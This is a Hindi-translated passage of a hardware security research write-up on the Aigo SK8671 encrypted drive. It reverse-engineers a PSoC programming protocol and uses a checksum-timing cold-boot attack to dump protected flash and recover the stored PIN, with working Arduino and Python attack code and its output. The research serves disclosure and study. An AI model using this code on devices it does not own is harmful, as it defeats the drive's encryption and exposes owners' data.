यह बाहरी सेल्फ-एन्क्रिप्टिंग ड्राइव को हैक करने के बारे में लेख का दूसरा और अंतिम भाग है। मैं आपको याद दिला दूं कि हाल ही में एक सहकर्मी मेरे लिए पैट्रियट (एगो) SK8671 हार्ड ड्राइव लाया था, और मैंने इसे उलटने का फैसला किया, और अब मैं उससे जो निकला उसे साझा कर रहा हूं। आगे पढ़ने से पहले अवश्य पढ़ें पहला भाग लेख।

4. हम आंतरिक PSoC फ्लैश ड्राइव से डंप लेना शुरू करते हैं
5. आईएसएसपी प्रोटोकॉल
– 5.1. आईएसएसपी क्या है?
– 5.2. सदिशों का रहस्योद्घाटन
– 5.3. पीएसओसी के साथ संचार
– 5.4. ऑन-चिप रजिस्टरों की पहचान
– 5.5. सुरक्षा बिट्स
6. पहला (असफल) हमला: ROMX
7. दूसरा हमला: कोल्ड बूट ट्रेसिंग
– 7.1. कार्यान्वयन
– 7.2. परिणाम पढ़ रहा हूँ
– 7.3. फ़्लैश बाइनरी पुनर्निर्माण
– 7.4. पिन कोड भंडारण पता ढूँढना
– 7.5. ब्लॉक नंबर 126 का डंप लेते हुए
– 7.6. पिन कोड पुनर्प्राप्ति
8. आगे क्या है?
9। निष्कर्ष

4. हम आंतरिक PSoC फ्लैश ड्राइव से डंप लेना शुरू करते हैं

तो, सब कुछ इंगित करता है (जैसा कि हमने [पहले भाग]() में स्थापित किया है) कि पिन कोड पीएसओसी की फ्लैश गहराई में संग्रहीत है। इसलिए, हमें इन फ्लैश गहराईयों को पढ़ने की जरूरत है। जरूरी काम का मोर्चा:

• माइक्रोकंट्रोलर के साथ "संचार" का नियंत्रण लें;
• यह जांचने का तरीका ढूंढें कि क्या यह "संचार" बाहर से पढ़ने से सुरक्षित है;
• सुरक्षा को बायपास करने का एक तरीका खोजें।

ऐसे दो स्थान हैं जहां वैध पिन कोड की तलाश करना उचित है:

• आंतरिक फ्लैश मेमोरी;
• SRAM, जहां पिन कोड को उपयोगकर्ता द्वारा दर्ज किए गए पिन कोड से तुलना करने के लिए संग्रहीत किया जा सकता है।

आगे देखते हुए, मैं ध्यान दूंगा कि मैं अभी भी आंतरिक पीएसओसी फ्लैश ड्राइव का डंप लेने में कामयाब रहा - आईएसएसपी प्रोटोकॉल की अनिर्दिष्ट क्षमताओं को उलटने के बाद - "कोल्ड बूट ट्रेसिंग" नामक हार्डवेयर हमले का उपयोग करके इसकी सुरक्षा प्रणाली को दरकिनार कर दिया। इससे मुझे वास्तविक पिन कोड को सीधे डंप करने की अनुमति मिल गई।

$ ./psoc.py 
syncing: KO OK
[...]
PIN: 1 2 3 4 5 6 7 8 9

अंतिम कार्यक्रम कोड:

• HSSP के लिए Arduino कोड;
• पायथन ड्राइवर और आईएसएसपी डिस्सेबलर.

5. आईएसएसपी प्रोटोकॉल

5.1. आईएसएसपी क्या है?

एक माइक्रोकंट्रोलर के साथ "संचार" का मतलब अलग-अलग चीजें हो सकता है: "विक्रेता से विक्रेता" से सीरियल प्रोटोकॉल का उपयोग करके बातचीत तक (उदाहरण के लिए, माइक्रोचिप के पीआईसी के लिए आईसीएसपी)।

इसके लिए साइप्रस का अपना स्वामित्व प्रोटोकॉल है, जिसे आईएसएसपी (इन-सिस्टम सीरियल प्रोग्रामिंग प्रोटोकॉल) कहा जाता है, जिसका आंशिक रूप से वर्णन किया गया है तकनीकी विनिर्देश. US7185162 पेटेंट कुछ जानकारी भी देता है. एचएसएसपी नामक एक ओपनसोर्स समतुल्य भी है (हम इसे थोड़ी देर बाद उपयोग करेंगे)। आईएसएसपी इस प्रकार काम करता है:

• PSoC को रिबूट करें;
• इस PSoC के सीरियल डेटा पिन पर जादुई संख्या आउटपुट करें; बाहरी प्रोग्रामिंग मोड में प्रवेश करने के लिए;
• आदेश भेजें, जो लंबी बिट स्ट्रिंग हैं जिन्हें "वेक्टर" कहा जाता है।

ISSP दस्तावेज़ इन वैक्टरों को केवल कुछ मुट्ठी भर कमांड के लिए परिभाषित करता है:

• आरंभीकरण-1
• आरंभीकरण-2
• प्रारंभिक-3 (3वी और 5वी विकल्प)
• आईडी-सेटअप
• पढ़ें-पहचान-शब्द
• सेट-ब्लॉक-नंबर: 10011111010dddddddd111, जहां dddddddd=ब्लॉक #
• थोक मिटाएँ
• कार्यक्रम ब्लॉक
• सत्यापित-सेटअप
• पढ़ें-बाइट: 10110aaaaaZDDDDDDDDZ1, जहां DDDDDDDD = डेटा आउट, आआ = पता (6 बिट्स)
• राइट-बाइट: 10010aaaaaaddddddd111, जहां dddddddd = डेटा इन, आआआ = पता (6 बिट्स)
• सुरक्षित
• चेकसम-सेटअप
• पढ़ें-चेकसम: 10111111001ZDDDDDDDDZ110111111000ZDDDDDDDDZ1, जहां DDDDDDDDDDDDDDDD = डेटा आउट: डिवाइस चेकसम
• ब्लॉक मिटाएँ

उदाहरण के लिए, इनिशियलाइज़-2 के लिए वेक्टर:

1101111011100000000111 1101111011000000000111
1001111100000111010111 1001111100100000011111
1101111010100000000111 1101111010000000011111
1001111101110000000111 1101111100100110000111
1101111101001000000111 1001111101000000001111
1101111000000000110111 1101111100000000000111
1101111111100010010111

सभी वैक्टर की लंबाई समान है: 22 बिट्स। एचएसएसपी दस्तावेज़ में आईएसएसपी पर कुछ अतिरिक्त जानकारी है: "आईएसएसपी वेक्टर एक बिट अनुक्रम से अधिक कुछ नहीं है जो निर्देशों के एक सेट का प्रतिनिधित्व करता है।"

5.2. सदिशों का रहस्योद्घाटन

आइए जानें कि यहां क्या हो रहा है। प्रारंभ में, मैंने मान लिया था कि ये वही वैक्टर M8C निर्देशों के कच्चे संस्करण थे, लेकिन इस परिकल्पना की जाँच करने के बाद, मुझे पता चला कि ऑपरेशन के ऑपकोड मेल नहीं खाते थे।

फिर मैंने ऊपर दिए गए वेक्टर को गूगल पर खोजा और मुझे मिला यहाँ यह है एक अध्ययन जहां लेखक, हालांकि वह विस्तार में नहीं जाता है, कुछ उपयोगी सुझाव देता है: “प्रत्येक निर्देश तीन बिट्स से शुरू होता है जो चार निमोनिक्स में से एक के अनुरूप होता है (रैम से पढ़ें, रैम से लिखें, रजिस्टर पढ़ें, रजिस्टर लिखें)। फिर 8 एड्रेस बिट्स हैं, उसके बाद 8 डेटा बिट्स (पढ़ें या लिखें) और अंत में तीन स्टॉप बिट्स हैं।

तब मैं "पर्यवेक्षी ROM (SROM)" अनुभाग से कुछ बहुत उपयोगी जानकारी प्राप्त करने में सक्षम हुआ तकनीकी पुस्तिका. SROM PSoC में एक हार्ड-कोडेड ROM है जो उपयोगकर्ता स्थान में चल रहे प्रोग्राम कोड के लिए उपयोगिता फ़ंक्शन (Syscall के समान) प्रदान करता है:

• 00h:SWBootReset
• 01 बजे: रीडब्लॉक
• 02 बजे: राइटब्लॉक
• 03 बजे: इरेज़ब्लॉक
• 06 बजे: टेबलरीड
• 07 बजे: चेकसम
• 08 बजे: कैलिब्रेट0
• 09 बजे: कैलिब्रेट1

वेक्टर नामों की SROM फ़ंक्शंस से तुलना करके, हम इस प्रोटोकॉल द्वारा समर्थित विभिन्न ऑपरेशनों को अपेक्षित SROM मापदंडों पर मैप कर सकते हैं। इसके लिए धन्यवाद, हम ISSP वैक्टर के पहले तीन बिट्स को डीकोड कर सकते हैं:

• 100 => "रेम"
• 101 => "आरडीएमईएम"
• 110 => "गलत"
• 111 => “rdreg”

हालाँकि, ऑन-चिप प्रक्रियाओं की पूरी समझ केवल PSoC के साथ सीधे संचार के माध्यम से प्राप्त की जा सकती है।

5.3. पीएसओसी के साथ संचार

चूँकि डिर्क पेट्रॉट्स्की पहले ही कर चुके हैं पोर्ट Arduino पर Cypress का HSSP कोड, मैंने कीबोर्ड बोर्ड के ISSP कनेक्टर से कनेक्ट करने के लिए Arduino Uno का उपयोग किया।

कृपया ध्यान दें कि अपने शोध के दौरान, मैंने डिर्क का कोड काफी हद तक बदल दिया है। आप मेरा संशोधन GitHub पर पा सकते हैं: यहां और मेरे भंडार में Arduino के साथ संचार करने के लिए संबंधित पायथन स्क्रिप्ट cypress_psoc_tools.

इसलिए, Arduino का उपयोग करते हुए, मैंने पहली बार "संचार" के लिए केवल "आधिकारिक" वैक्टर का उपयोग किया। मैंने VERIFY कमांड का उपयोग करके आंतरिक ROM को पढ़ने का प्रयास किया। जैसा कि अपेक्षित था, मैं ऐसा करने में असमर्थ रहा। संभवतः इस तथ्य के कारण कि रीड प्रोटेक्शन बिट्स फ्लैश ड्राइव के अंदर सक्रिय हैं।

फिर मैंने मेमोरी/रजिस्टर लिखने और पढ़ने के लिए अपने कुछ सरल वेक्टर बनाए। कृपया ध्यान दें कि फ्लैश ड्राइव सुरक्षित होने के बावजूद हम संपूर्ण SROM पढ़ सकते हैं!

5.4. ऑन-चिप रजिस्टरों की पहचान

"अलग किए गए" वैक्टर को देखने के बाद, मुझे पता चला कि डिवाइस M0C ऑपकोड को निर्दिष्ट करने के लिए अनिर्दिष्ट रजिस्टरों (8xF0-8xFA) का उपयोग करता है जो सुरक्षा को दरकिनार करते हुए सीधे निष्पादित होते हैं। इससे मुझे "ADD", "MOV A, X", "PUSH" या "JMP" जैसे विभिन्न ऑपकोड चलाने की अनुमति मिली। उनके लिए धन्यवाद (रजिस्टरों पर उनके दुष्प्रभावों को देखकर) मैं यह निर्धारित करने में सक्षम था कि कौन से गैर-दस्तावेजी रजिस्टर वास्तव में नियमित रजिस्टर (ए, एक्स, एसपी और पीसी) थे।

परिणामस्वरूप, HSSP_disas.rb टूल द्वारा उत्पन्न "डिसेम्बल" कोड इस तरह दिखता है (मैंने स्पष्टता के लिए टिप्पणियाँ जोड़ीं):

--== init2 ==--
[DE E0 1C] wrreg CPU_F (f7), 0x00   # сброс флагов
[DE C0 1C] wrreg SP (f6), 0x00      # сброс SP
[9F 07 5C] wrmem KEY1, 0x3A     # обязательный аргумент для SSC
[9F 20 7C] wrmem KEY2, 0x03     # аналогично
[DE A0 1C] wrreg PCh (f5), 0x00     # сброс PC (MSB) ...
[DE 80 7C] wrreg PCl (f4), 0x03     # (LSB) ... до 3 ??
[9F 70 1C] wrmem POINTER, 0x80      # RAM-указатель для выходных данных
[DF 26 1C] wrreg opc1 (f9), 0x30        # Опкод 1 => "HALT"
[DF 48 1C] wrreg opc2 (fa), 0x40        # Опкод 2 => "NOP"
[9F 40 3C] wrmem BLOCKID, 0x01  # BLOCK ID для вызова SSC
[DE 00 DC] wrreg A (f0), 0x06       # номер "Syscall" : TableRead
[DF 00 1C] wrreg opc0 (f8), 0x00        # Опкод для SSC, "Supervisory SROM Call"
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12    # Недокумментированная операция: выполнить внешний опкод

5.5. सुरक्षा बिट्स

इस स्तर पर मैं पहले से ही पीएसओसी के साथ संवाद कर सकता हूं, लेकिन मेरे पास अभी भी फ्लैश ड्राइव के सुरक्षा बिट्स के बारे में विश्वसनीय जानकारी नहीं है। मैं इस तथ्य से बहुत आश्चर्यचकित था कि साइप्रस डिवाइस के उपयोगकर्ता को यह जांचने के लिए कोई साधन प्रदान नहीं करता है कि सुरक्षा सक्रिय है या नहीं। अंत में यह समझने के लिए कि मैंने Google में गहराई से खोज की है कि साइप्रस द्वारा प्रदान किया गया HSSP कोड डर्क द्वारा अपना संशोधन जारी करने के बाद अपडेट किया गया था। इसलिए! यह नया वेक्टर सामने आया है:

[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A
[9F 20 7C] wrmem KEY2, 0x03
[9F A0 1C] wrmem 0xFD, 0x00 # неизвестные аргументы
[9F E0 1C] wrmem 0xFF, 0x00 # аналогично
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[DE 02 1C] wrreg A (f0), 0x10   # недокументированный syscall !
[DF 00 1C] wrreg opc0 (f8), 0x00
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

इस वेक्टर का उपयोग करते हुए (psoc.py में read_security_data देखें), हमें SRAM में सभी सुरक्षा बिट्स 0x80 पर मिलते हैं, जहां प्रति संरक्षित ब्लॉक में दो बिट होते हैं।

परिणाम निराशाजनक है: सब कुछ "बाहरी पढ़ने और लिखने को अक्षम करें" मोड में सुरक्षित है। इसलिए, न केवल हम फ्लैश ड्राइव से कुछ भी नहीं पढ़ सकते हैं, बल्कि हम कुछ भी लिख भी नहीं सकते हैं (उदाहरण के लिए, वहां एक ROM डम्पर स्थापित करने के लिए)। और सुरक्षा को अक्षम करने का एकमात्र तरीका संपूर्ण चिप को पूरी तरह से मिटा देना है। 🙁

6. पहला (असफल) हमला: ROMX

हालाँकि, हम निम्नलिखित युक्ति आज़मा सकते हैं: चूँकि हमारे पास मनमाना ऑपकोड निष्पादित करने की क्षमता है, तो ROMX को निष्पादित क्यों न करें, जिसका उपयोग फ्लैश मेमोरी को पढ़ने के लिए किया जाता है? इस दृष्टिकोण के सफल होने की अच्छी संभावना है। क्योंकि रीडब्लॉक फ़ंक्शन जो एसआरओएम (जो वैक्टर द्वारा उपयोग किया जाता है) से डेटा पढ़ता है, यह जांचता है कि क्या इसे आईएसएसपी से कॉल किया गया है। हालाँकि, ROMX ऑपकोड में संभवतः ऐसा कोई चेक नहीं हो सकता है। तो यहाँ पायथन कोड है (Arduino कोड में कुछ सहायक कक्षाएं जोड़ने के बाद):

for i in range(0, 8192):
    write_reg(0xF0, i>>8)       # A = 0
    write_reg(0xF3, i&0xFF)     # X = 0
    exec_opcodes("x28x30x40")    # ROMX, HALT, NOP
    byte = read_reg(0xF0)       # ROMX reads ROM[A|X] into A
    print "%02x" % ord(byte[0]) # print ROM byte

दुर्भाग्य से यह कोड काम नहीं करता. 🙁 या यों कहें कि यह काम करता है, लेकिन आउटपुट पर हमें अपने स्वयं के ऑपकोड (0x28 0x30 0x40) मिलते हैं! मुझे नहीं लगता कि डिवाइस की संबंधित कार्यक्षमता रीड प्रोटेक्शन का एक तत्व है। यह एक इंजीनियरिंग ट्रिक की तरह है: बाहरी ऑपकोड निष्पादित करते समय, ROM बस को एक अस्थायी बफर पर पुनर्निर्देशित किया जाता है।

7. दूसरा हमला: कोल्ड बूट ट्रेसिंग

चूंकि ROMX ट्रिक काम नहीं कर रही थी, इसलिए मैंने इस ट्रिक के दूसरे संस्करण के बारे में सोचना शुरू कर दिया - जिसका वर्णन प्रकाशन में किया गया है "माइक्रोकंट्रोलर की फ़र्मवेयर सुरक्षा पर बहुत अधिक प्रकाश डालना".

7.1. कार्यान्वयन

आईएसएसपी दस्तावेज़ चेकसम-सेटअप के लिए निम्नलिखित वेक्टर प्रदान करता है:

[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A
[9F 20 7C] wrmem KEY2, 0x03
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[9F 40 1C] wrmem BLOCKID, 0x00
[DE 00 FC] wrreg A (f0), 0x07
[DF 00 1C] wrreg opc0 (f8), 0x00
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

यह अनिवार्य रूप से SROM फ़ंक्शन 0x07 को कॉल करता है, जैसा कि दस्तावेज़ में प्रस्तुत किया गया है (इटैलिक मेरा):

यह फ़ंक्शन चेकसम सत्यापन। यह शून्य से शुरू करके एक फ्लैश बैंक में उपयोगकर्ता द्वारा निर्दिष्ट ब्लॉकों की संख्या के 16-बिट चेकसम की गणना करता है। BLOCKID पैरामीटर का उपयोग चेकसम की गणना करते समय उपयोग किए जाने वाले ब्लॉकों की संख्या को पास करने के लिए किया जाता है। "1" का मान केवल ब्लॉक शून्य के लिए चेकसम की गणना करेगा; जबकि "0" के कारण फ़्लैश बैंक के सभी 256 ब्लॉकों के कुल चेकसम की गणना की जाएगी। 16-बिट चेकसम KEY1 और KEY2 के माध्यम से लौटाया जाता है। KEY1 पैरामीटर चेकसम के निम्न-क्रम 8 बिट्स को संग्रहीत करता है, और KEY2 पैरामीटर उच्च-ऑर्डर 8 बिट्स को संग्रहीत करता है। कई फ़्लैश बैंकों वाले उपकरणों के लिए, चेकसम फ़ंक्शन को प्रत्येक के लिए अलग से बुलाया जाता है। जिस बैंक नंबर के साथ यह काम करेगा वह FLS_PR1 रजिस्टर द्वारा निर्धारित किया जाता है (लक्ष्य फ्लैश बैंक के अनुरूप इसमें बिट सेट करके)।

ध्यान दें कि यह एक साधारण चेकसम है: बाइट्स को बस एक के बाद एक जोड़ा जाता है; कोई फैंसी सीआरसी विचित्रता नहीं। इसके अलावा, यह जानते हुए कि M8C कोर में रजिस्टरों का एक बहुत छोटा सेट है, मैंने मान लिया कि चेकसम की गणना करते समय, मध्यवर्ती मान उन्हीं चर में दर्ज किए जाएंगे जो अंततः आउटपुट पर जाएंगे: KEY1 (0xF8) / KEY2 ( 0xF9).

तो सिद्धांत रूप में मेरा हमला इस तरह दिखता है:

1. हम आईएसएसपी के माध्यम से जुड़ते हैं।
2. हम CHECKSUM-SETUP वेक्टर का उपयोग करके चेकसम गणना शुरू करते हैं।
3. हम एक निर्दिष्ट समय टी के बाद प्रोसेसर को रीबूट करते हैं।
4. हम वर्तमान चेकसम सी प्राप्त करने के लिए रैम पढ़ते हैं।
5. चरण 3 और 4 को दोहराएँ, हर बार टी को थोड़ा-थोड़ा बढ़ाते हुए।
6. हम मौजूदा चेकसम सी से पिछले चेकसम सी को घटाकर फ्लैश ड्राइव से डेटा पुनर्प्राप्त करते हैं।

हालाँकि, एक समस्या है: Initialize-1 वेक्टर जिसे हमें रिबूट के बाद भेजना होगा, KEY1 और KEY2 को अधिलेखित कर देता है:

1100101000000000000000  # Магия, переводящая PSoC в режим программирования
nop
nop
nop
nop
nop
[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A # контрольная сумма перезаписывается здесь
[9F 20 7C] wrmem KEY2, 0x03 # и здесь
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[DE 01 3C] wrreg A (f0), 0x09   # SROM-функция 9
[DF 00 1C] wrreg opc0 (f8), 0x00    # SSC
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

यह कोड कैलिब्रेट1 (एसआरओएम फ़ंक्शन 9) को कॉल करके हमारे बहुमूल्य चेकसम को अधिलेखित कर देता है... शायद हम प्रोग्रामिंग मोड में प्रवेश करने के लिए मैजिक नंबर (उपरोक्त कोड की शुरुआत से) भेज सकते हैं, और फिर एसआरएएम पढ़ सकते हैं? और हाँ, यह काम करता है! इस हमले को लागू करने वाला Arduino कोड काफी सरल है:

case Cmnd_STK_START_CSUM:
    checksum_delay = ((uint32_t)getch())<<24;
    checksum_delay |= ((uint32_t)getch())<<16;
    checksum_delay |= ((uint32_t)getch())<<8;
    checksum_delay |= getch();
    if(checksum_delay > 10000) {
        ms_delay = checksum_delay/1000;
        checksum_delay = checksum_delay%1000;
    }
    else {
        ms_delay = 0;
    }
    send_checksum_v();
    if(checksum_delay)
        delayMicroseconds(checksum_delay);
    delay(ms_delay);
    start_pmode();

1. checkum_delay पढ़ें.
2. चेकसम गणना चलाएँ (send_checksum_v)।
3. एक निर्दिष्ट अवधि तक प्रतीक्षा करें; निम्नलिखित नुकसानों को ध्यान में रखते हुए:
   • मैंने तब तक बहुत समय बर्बाद किया जब तक मुझे पता नहीं चला कि इसका परिणाम क्या निकला देरीमाइक्रोसेकंड केवल 16383 μs से अधिक की देरी के साथ ही सही ढंग से काम करता है;
   • और फिर उतना ही समय बर्बाद कर दिया जब तक कि मुझे पता नहीं चला कि डिलेमाइक्रोसेकंड, यदि 0 को इनपुट के रूप में पास किया जाता है, तो पूरी तरह से गलत तरीके से काम करता है!
4. PSoC को प्रोग्रामिंग मोड में रीबूट करें (हम इनिशियलाइज़ेशन वैक्टर भेजे बिना, केवल मैजिक नंबर भेजते हैं)।

पायथन में अंतिम कोड:

for delay in range(0, 150000):  # задержка в микросекундах
    for i in range(0, 10):      # количество считывания для каждойиз задержек
        try:
            reset_psoc(quiet=True)  # перезагрузка и вход в режим программирования
            send_vectors()      # отправка инициализирующих векторов
            ser.write("x85"+struct.pack(">I", delay)) # вычислить контрольную сумму + перезагрузиться после задержки
            res = ser.read(1)       # считать arduino ACK
        except Exception as e:
            print e
            ser.close()
            os.system("timeout -s KILL 1s picocom -b 115200 /dev/ttyACM0 2>&1 > /dev/null")
            ser = serial.Serial('/dev/ttyACM0', 115200, timeout=0.5) # открыть последовательный порт
            continue
        print "%05d %02X %02X %02X" % (delay,      # считать RAM-байты
                read_regb(0xf1),
                read_ramb(0xf8),
                read_ramb(0xf9))

संक्षेप में, यह कोड क्या करता है:

1. PSoC को रीबूट करता है (और इसे एक जादुई नंबर भेजता है)।
2. पूर्ण आरंभीकरण वैक्टर भेजता है।
3. Arduino फ़ंक्शन Cmnd_STK_START_CSUM (0x85) को कॉल करता है, जहां माइक्रोसेकंड में देरी को एक पैरामीटर के रूप में पारित किया जाता है।
4. चेकसम (0xF8 और 0xF9) और अनिर्दिष्ट रजिस्टर 0xF1 को पढ़ता है।

यह कोड 10 माइक्रोसेकंड में 1 बार निष्पादित होता है। 0xF1 को यहां शामिल किया गया है क्योंकि यह एकमात्र रजिस्टर था जो चेकसम की गणना करते समय बदल गया था। शायद यह अंकगणितीय तर्क इकाई द्वारा उपयोग किया जाने वाला किसी प्रकार का अस्थायी चर है। उस बदसूरत हैक पर ध्यान दें जिसका उपयोग मैं पिकोकॉम का उपयोग करके Arduino को रीसेट करने के लिए करता हूं जब Arduino जीवन के लक्षण दिखाना बंद कर देता है (पता नहीं क्यों)।

7.2. परिणाम पढ़ रहा हूँ

पायथन लिपि का परिणाम इस तरह दिखता है (पठनीयता के लिए सरलीकृत):

DELAY F1 F8 F9  # F1 – вышеупомянутый неизвестный регистр
                  # F8 младший байт контрольной суммы
                  # F9 старший байт контрольной суммы

00000 03 E1 19
[...]
00016 F9 00 03
00016 F9 00 00
00016 F9 00 03
00016 F9 00 03
00016 F9 00 03
00016 F9 00 00  # контрольная сумма сбрасывается в 0
00017 FB 00 00
[...]
00023 F8 00 00
00024 80 80 00  # 1-й байт: 0x0080-0x0000 = 0x80 
00024 80 80 00
00024 80 80 00
[...]
00057 CC E7 00   # 2-й байт: 0xE7-0x80: 0x67
00057 CC E7 00
00057 01 17 01  # понятия не имею, что здесь происходит
00057 01 17 01
00057 01 17 01
00058 D0 17 01
00058 D0 17 01
00058 D0 17 01
00058 D0 17 01
00058 F8 E7 00  # Снова E7?
00058 D0 17 01
[...]
00059 E7 E7 00
00060 17 17 00  # Хмммммм
[...]
00062 00 17 00
00062 00 17 00
00063 01 17 01  # А, дошло! Вот он же перенос в старший байт
00063 01 17 01
[...]
00075 CC 17 01  # Итак, 0x117-0xE7: 0x30

ऐसा कहा जा रहा है कि, हमारे पास एक समस्या है: चूंकि हम वास्तविक चेकसम के साथ काम कर रहे हैं, एक शून्य बाइट पढ़े गए मूल्य को नहीं बदलता है। हालाँकि, चूंकि पूरी गणना प्रक्रिया (8192 बाइट्स) में 0,1478 सेकंड लगते हैं (हर बार चलने पर थोड़े बदलाव के साथ), जो लगभग 18,04 μs प्रति बाइट के बराबर होता है, हम इस समय का उपयोग उचित समय पर चेकसम मूल्य की जांच करने के लिए कर सकते हैं। पहले रन के लिए, सब कुछ काफी आसानी से पढ़ा जाता है, क्योंकि कम्प्यूटेशनल प्रक्रिया की अवधि हमेशा लगभग समान होती है। हालाँकि, इस डंप का अंत कम सटीक है क्योंकि प्रत्येक रन पर "मामूली समय विचलन" जुड़कर महत्वपूर्ण हो जाता है:

134023 D0 02 DD
134023 CC D2 DC
134023 CC D2 DC
134023 CC D2 DC
134023 FB D2 DC
134023 3F D2 DC
134023 CC D2 DC
134024 02 02 DC
134024 CC D2 DC
134024 F9 02 DC
134024 03 02 DD
134024 21 02 DD
134024 02 D2 DC
134024 02 02 DC
134024 02 02 DC
134024 F8 D2 DC
134024 F8 D2 DC
134025 CC D2 DC
134025 EF D2 DC
134025 21 02 DD
134025 F8 D2 DC
134025 21 02 DD
134025 CC D2 DC
134025 04 D2 DC
134025 FB D2 DC
134025 CC D2 DC
134025 FB 02 DD
134026 03 02 DD
134026 21 02 DD

यह प्रत्येक माइक्रोसेकंड विलंब के लिए 10 डंप है। एक फ्लैश ड्राइव के सभी 8192 बाइट्स को डंप करने का कुल परिचालन समय लगभग 48 घंटे है।

7.3. फ़्लैश बाइनरी पुनर्निर्माण

मैंने अभी तक वह कोड लिखना पूरा नहीं किया है जो सभी समय विचलनों को ध्यान में रखते हुए फ्लैश ड्राइव के प्रोग्राम कोड को पूरी तरह से पुनर्निर्माण करेगा। हालाँकि, मैंने इस कोड की शुरुआत पहले ही बहाल कर दी है। यह सुनिश्चित करने के लिए कि मैंने इसे सही ढंग से किया, मैंने m8cdis का उपयोग करके इसे अलग किया:

0000: 80 67   jmp  0068h     ; Reset vector
[...]
0068: 71 10   or  F,010h
006a: 62 e3 87 mov  reg[VLT_CR],087h
006d: 70 ef   and  F,0efh
006f: 41 fe fb and  reg[CPU_SCR1],0fbh
0072: 50 80   mov  A,080h
0074: 4e    swap A,SP
0075: 55 fa 01 mov  [0fah],001h
0078: 4f    mov  X,SP
0079: 5b    mov  A,X
007a: 01 03   add  A,003h
007c: 53 f9   mov  [0f9h],A
007e: 55 f8 3a mov  [0f8h],03ah
0081: 50 06   mov  A,006h
0083: 00    ssc
[...]
0122: 18    pop  A
0123: 71 10   or  F,010h
0125: 43 e3 10 or  reg[VLT_CR],010h
0128: 70 00   and  F,000h ; Paging mode changed from 3 to 0
012a: ef 62   jacc 008dh
012c: e0 00   jacc 012dh
012e: 71 10   or  F,010h
0130: 62 e0 02 mov  reg[OSC_CR0],002h
0133: 70 ef   and  F,0efh
0135: 62 e2 00 mov  reg[INT_VC],000h
0138: 7c 19 30 lcall 1930h
013b: 8f ff   jmp  013bh
013d: 50 08   mov  A,008h
013f: 7f    ret

काफी प्रशंसनीय लग रहा है!

7.4. पिन कोड भंडारण पता ढूँढना

अब जब हम जरूरत के समय चेकसम को पढ़ सकते हैं, तो हम आसानी से जांच सकते हैं कि यह कब और कहां बदलता है:

• गलत पिन कोड दर्ज करें;
• पिन कोड बदलें.

सबसे पहले, अनुमानित भंडारण पता खोजने के लिए, मैंने रिबूट के बाद 10 एमएस की वृद्धि में एक चेकसम डंप लिया। फिर मैंने गलत पिन दर्ज किया और वैसा ही किया।

परिणाम बहुत सुखद नहीं था, क्योंकि कई परिवर्तन हुए थे। लेकिन अंत में मैं यह निर्धारित करने में सक्षम था कि चेकसम 120000 μs और 140000 μs की देरी के बीच कहीं बदल गया। लेकिन जो "पिनकोड" मैंने वहां प्रदर्शित किया था वह पूरी तरह से गलत था - डिलेमाइक्रोसेकंड प्रक्रिया की एक कलाकृति के कारण, जो 0 पास करने पर अजीब चीजें करता है।

फिर, लगभग 3 घंटे बिताने के बाद, मुझे याद आया कि SROM सिस्टम कॉल चेकसम को इनपुट के रूप में एक तर्क प्राप्त होता है जो चेकसम के लिए ब्लॉक की संख्या निर्दिष्ट करता है! वह। हम 64-बाइट ब्लॉक तक की सटीकता के साथ पिन कोड और "गलत प्रयास" काउंटर के भंडारण पते को आसानी से स्थानीयकृत कर सकते हैं।

मेरे शुरुआती रनों ने निम्नलिखित परिणाम उत्पन्न किए:

फिर मैंने पिन कोड को "123456" से "1234567" में बदल दिया और मुझे मिला:

इस प्रकार, पिन कोड और गलत प्रयासों का काउंटर ब्लॉक संख्या 126 में संग्रहीत प्रतीत होता है।

7.5. ब्लॉक नंबर 126 का डंप लेते हुए

ब्लॉक #126, मेरे पूर्ण डंप में, चेकसम गणना की शुरुआत से, 125x64x18 = 144000μs के आसपास कहीं स्थित होना चाहिए, और यह काफी प्रशंसनीय लगता है। फिर, कई अमान्य डंपों को मैन्युअल रूप से निकालने के बाद ("मामूली समय विचलन" के संचय के कारण), मुझे ये बाइट्स (145527 μs की विलंबता पर) प्राप्त हुईं:

यह बिल्कुल स्पष्ट है कि पिन कोड अनएन्क्रिप्टेड रूप में संग्रहीत है! बेशक, ये मान ASCII कोड में नहीं लिखे गए हैं, लेकिन जैसा कि यह पता चला है, वे कैपेसिटिव कीबोर्ड से ली गई रीडिंग को प्रतिबिंबित करते हैं।

अंत में, मैंने यह पता लगाने के लिए कुछ और परीक्षण चलाए कि खराब प्रयास काउंटर कहाँ संग्रहीत था। यहाँ परिणाम है:

0xFF - का अर्थ है "15 प्रयास" और यह प्रत्येक असफल प्रयास के साथ घटता जाता है।

7.6. पिन कोड पुनर्प्राप्ति

यहां मेरा बदसूरत कोड है जो उपरोक्त को एक साथ रखता है:

def dump_pin():
  pin_map = {0x24: "0", 0x25: "1", 0x26: "2", 0x27:"3", 0x20: "4", 0x21: "5",
        0x22: "6", 0x23: "7", 0x2c: "8", 0x2d: "9"}
  last_csum = 0
  pin_bytes = []
  for delay in range(145495, 145719, 16):
    csum = csum_at(delay, 1)
    byte = (csum-last_csum)&0xFF
    print "%05d %04x (%04x) => %02x" % (delay, csum, last_csum, byte)
    pin_bytes.append(byte)
    last_csum = csum
  print "PIN: ",
